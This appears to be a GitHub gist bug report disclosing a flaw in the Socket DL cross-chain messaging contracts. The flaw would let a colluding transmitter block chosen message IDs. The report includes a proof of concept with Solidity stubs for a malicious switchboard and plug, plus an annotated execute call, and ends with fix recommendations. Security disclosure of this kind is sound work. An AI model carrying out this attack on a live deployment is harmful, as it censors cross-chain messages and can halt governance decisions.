Skip to content

Instantly share code, notes, and snippets.

@sujithsomraaj
Last active May 6, 2023 20:55
Show Gist options
  • Save sujithsomraaj/7413f77603db2851834ee2520c3eb976 to your computer and use it in GitHub Desktop.
Save sujithsomraaj/7413f77603db2851834ee2520c3eb976 to your computer and use it in GitHub Desktop.

Colluded Transmitter Can Block Specific MgsId From Being Delivered

Bug Description

Where: https://github.com/SocketDotTech/socket-DL/blob/master/contracts/socket/SocketDst.sol#L108 Where: https://github.com/SocketDotTech/socket-DL/blob/master/contracts/socket/SocketDst.sol#L80

This issue can prevent the delivery of specific msgId. Transmitters can choose which message to delivery and which message to prevent, defying any validator/attestation mechanism. Hence the protocol's security is left to the mercy of transmitters (that should be mere relayers).

The transmitter is able to block the message delivery, without affecting the payload (or) any other parameters, just by using the message id of choice.

Slashing the transmitter cannot be possible inherently, as the packetId used might not even exist & the message id is the only parameter involves, which is also delivered to a valid local plug.

Impact

Permanent Blocking Of Cross-Chain Messages. Transmitters Can Front-Run Cross-Chain Messages. The damange of the impact depends on the sensitiveness of the message being blocked.

A best scenario would be to imagine, Uniswap governance using Socket DL and the transmitter colludes to block socket's DL message from being delivery (halting the governance decision), resulting in serious damages to the protocol's reliability.

I believe the impact would fit into Unauthorised Access and Decapacitor unable to validate message.

Recommendation

The general architectural design allows transmitters to act as a powerful element of the cross-chain messaging layer.

Few proposed changes could be

  • Add a challenge period between the propose() and execute() calls.
  • Gate switchBoard deployments like capacitor deployments. Prevent adding user defined switch boards.

POC

Step-1

Deploy a attacker switchboard which returns true on all allowPacket() read calls.

contract MaliciousSwitchBoard{
    function allowPacket(
        bytes32,
        bytes32 packetId_,
        uint32 srcChainSlug_,
        uint256 proposeTime_
    ) external view override returns (bool) {
        return true;
    }

    function registerCapacitor(
        uint256 siblingChainSlug_,
        address capacitor_,
        uint256 maxPacketSize_
    ) external {
        return true;
    }
}

Step-2

Deploy an attacker local plug, that returns true on all inbound() calls. The attacker local plug should be connected to the MaliciousSwitchBoard which will have a legit single decapacitor/hashchain decapacitor.

    contract MaliciousPlug{
    function inbound(
        uint256,
        bytes calldata payload_
    ) external payable override {
    }
    }

Step-3

Register a switch board using any capacitor Id, but using registerSwitchBoard() function on Socket Contract, the msg.sender for the transaction should be the malicious plug address.

    function registerSwitchBoard(
        address switchBoardAddress_,        ///  MaliciousSwitchBoard.address that return true on all case.
        uint256 maxPacketLength_,
        uint32 siblingChainSlug_,           /// any random chain id
        uint32 capacitorType_
    ) external override 

Step-4

Propose and Execute a packetId in same atomic transaction.

    function execute(
        bytes32 packetId_,              /// some random unused packetId used to propose the malicious root
        address localPlug_,                     /// MaliciousPlug.address
        ISocket.MessageDetails calldata messageDetails_,
        bytes memory signature_
    ) external override {
        if (messageExecuted[messageDetails_.msgId]) /// MsgId transmitter wanted to block
            revert MessageAlreadyExecuted();
        messageExecuted[messageDetails_.msgId] = true;

        uint256 remoteSlug = _decodeSlug(messageDetails_.msgId);

        PlugConfig storage plugConfig = _plugConfigs[localPlug_][remoteSlug];

        bytes32 packedMessage = hasher__.packMessage(
            remoteSlug,                 
            plugConfig.siblingPlug,     /// zero address
            chainSlug,
            localPlug_,
            messageDetails_.msgId,
            messageDetails_.msgGasLimit,
            messageDetails_.executionFee,
            messageDetails_.payload
        );

        (address executor, bool isValidExecutor) = executionManager__
            .isExecutor(packedMessage, signature_);
        if (!isValidExecutor) revert NotExecutor();

        _verify(
            packetId_,
            remoteSlug,
            packedMessage,
            plugConfig,
            messageDetails_.decapacitorProof
        );
        _execute(
            executor,
            messageDetails_.executionFee,
            localPlug_,
            remoteSlug,
            messageDetails_.msgGasLimit,
            messageDetails_.msgId,
            messageDetails_.payload
        );
    }

In this due to the attacker switchboard, the _verify function will always pass because the switchboard is malicious and decapacitor returns true if the transmitter manager to pre-calculate the root for his input and commit it in the previous step.

To carry out this attack, the attacker has to use the hasher library to generate the message root with his malicious parameters and add propose it to some random packet id.

By doing this he can successfully prevent the delivery of any message, since the localPlug() will indicate that a message id is already processed and there is no way to re-process the message for another plug.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment